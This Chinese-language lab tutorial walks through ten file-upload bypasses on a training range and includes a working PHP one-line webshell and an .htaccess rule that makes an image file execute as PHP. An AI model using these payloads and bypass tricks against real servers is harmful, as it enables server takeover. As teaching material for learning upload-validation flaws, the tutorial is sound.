文件上传功能无处不在------头像、附件、文档管理......但若服务端未严格校验,攻击者即可上传恶意脚本(木马)控制服务器。
一、漏洞产生与危害
"上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。"(PDF第1页)
危害 :获取服务器权限、读取/修改任意文件、替换网站首页(插国旗)、长期隐蔽执行系统命令(如ipconfig、whoami)。
二、经典"卧底"木马示例
PDF用两个PHP文件演示攻击原理:
1.php(信息探测):
php
<?php phpinfo(); ?>
2.php(一句话木马):
php
<?php @eval($_POST[cmd]); ?>
配合中国蚁剑,可图形化控制服务器。一句话木马解析:@忽略错误,eval()将字符串当代码执行,$_POST[cmd]获取POST参数。
三、10种实战绕过方法(Pass-01 至 Pass-10)
方法①:前端JS验证绕过(Pass-01)
场景 :表单通过 action 属性指向服务器端处理脚本(如 http://192.168.0.27/Pass-01/index.php),属于典型的"本地上传 → 发送到服务器端"模式。前端用JS校验文件扩展名,但服务端无校验。
绕过原理:前端校验在浏览器端执行,攻击者修改本地页面即可。
步骤:
-
"保存当前页面";
-
"使用编辑器打开页面,修改代码";
-
修改JS中的
allow_ext变量,将允许的后缀加入.php,或者直接修改if (allow_ext.indexOf(ext_name) == -1)为始终返回false; -
通过本地修改后的表单(
action仍指向原服务器地址)提交木马文件; -
因服务端无校验,木马上传成功。
方法②:MIME类型验证绕过(Pass-02)
场景 :服务端检查 Content-Type,只允许图片类型。
步骤(PDF第17-18页):
-
用Burp拦截上传请求;
-
将请求头中的
Content-Type: application/octet-stream修改为Content-Type: image/png; -
放行,文件成功上传。
PDF代码块显示:
Content-Type: image/png被修改后绕过了校验。
方法③:黑名单-可解析后缀绕过(Pass-03)
场景 :黑名单禁止 .php,但未禁止其他可被Apache解析的后缀。
步骤:
-
将木马命名为
shell.php3(或.php4、.php5、.phtml等); -
直接上传,服务器将其当作PHP解析执行。
方法④:黑名单-.htaccess绕过(Pass-04)
场景:黑名单封堵了几乎所有可执行后缀。
步骤:
-
新建
.htaccess,内容为:apache
<FilesMatch "loudong.jpg"> SetHandler application/x-httpd-php </FilesMatch> -
上传该
.htaccess文件; -
将木马重命名为
loudong.jpg并上传; -
访问
loudong.jpg,被当作PHP解析。
方法⑤:大小写绕过(Pass-05)
场景 :Pass-05的代码中,对文件扩展名没有使用 strtolower() 转换为小写 进行比较,但保留了 trim() 去空。
绕过原理 :黑名单通常是小写的 .php,利用大小写混合可绕过。
步骤:
-
将木马命名为
info.PHP或shell.Php; -
直接上传,因扩展名不全为小写,未命中黑名单,成功保存并执行。
方法⑥:空格绕过(Pass-06)
场景 :Pass-06的代码比上一关(Pass-05)少了一行 trim($file_ext)(首尾去空) ,但保留了 strtolower()。
绕过原理 :因为不去除首尾空格,可以在文件名末尾加空格(如 shell.php)。黑名单匹配时,shell.php 不在黑名单内(因为带了空格),而Windows系统保存文件时会自动去掉末尾空格,最终变为 shell.php。
步骤:
-
使用Burp Suite拦截上传请求;
-
将文件名修改为
info.PHP(注意末尾有一个空格); -
放行请求,服务器保存时自动去除空格,木马成功上传。
方法⑦:点号绕过(Pass-07)
场景 :代码使用了 deldot 函数删除文件名末尾的点,但未做多次删除。
步骤:
-
将木马命名为
shell.php.; -
上传后,
deldot删除末尾的点,实际保存为shell.php,成功绕过。
方法⑧:Windows ::$DATA 流绕过(Pass-08)
场景 :黑名单未过滤 ::$DATA。
步骤(PDF第27页):
-
将木马命名为
shell.php::$DATA; -
上传后,Windows会将其保存为
shell.php(::$DATA之后的内容被当作文件流处理),成功绕过扩展名检测。
方法⑨:点+空格组合绕过(Pass-09)
场景 :deldot 函数从字符串末尾向前删除点,直到末尾字符不是点为止。
绕过原理 :构造 shell.php. .(点、空格、点),deldot 从后往前删除点,遇到空格停止,保留 shell.php.,Windows再自动去除末尾空格和点,最终得到 shell.php。
步骤:
-
在Burp中拦截请求;
-
将文件名修改为
loudong.php. .(注意点+空格+点); -
上传后成功得到
loudong.php。
方法⑩:双写后缀绕过(Pass-10)
场景 :使用 str_ireplace 函数将黑名单中的后缀(如 php)替换为空字符串,但仅执行一次。
步骤:
-
将木马命名为
info.phpphp(或shell.pphphp); -
服务器执行
str_ireplace("php","", $file_name),去掉中间的php,剩下info.php; -
成功上传并解析。
最后提醒:"千万不要去搞正式网站不然会去踩缝纫机的"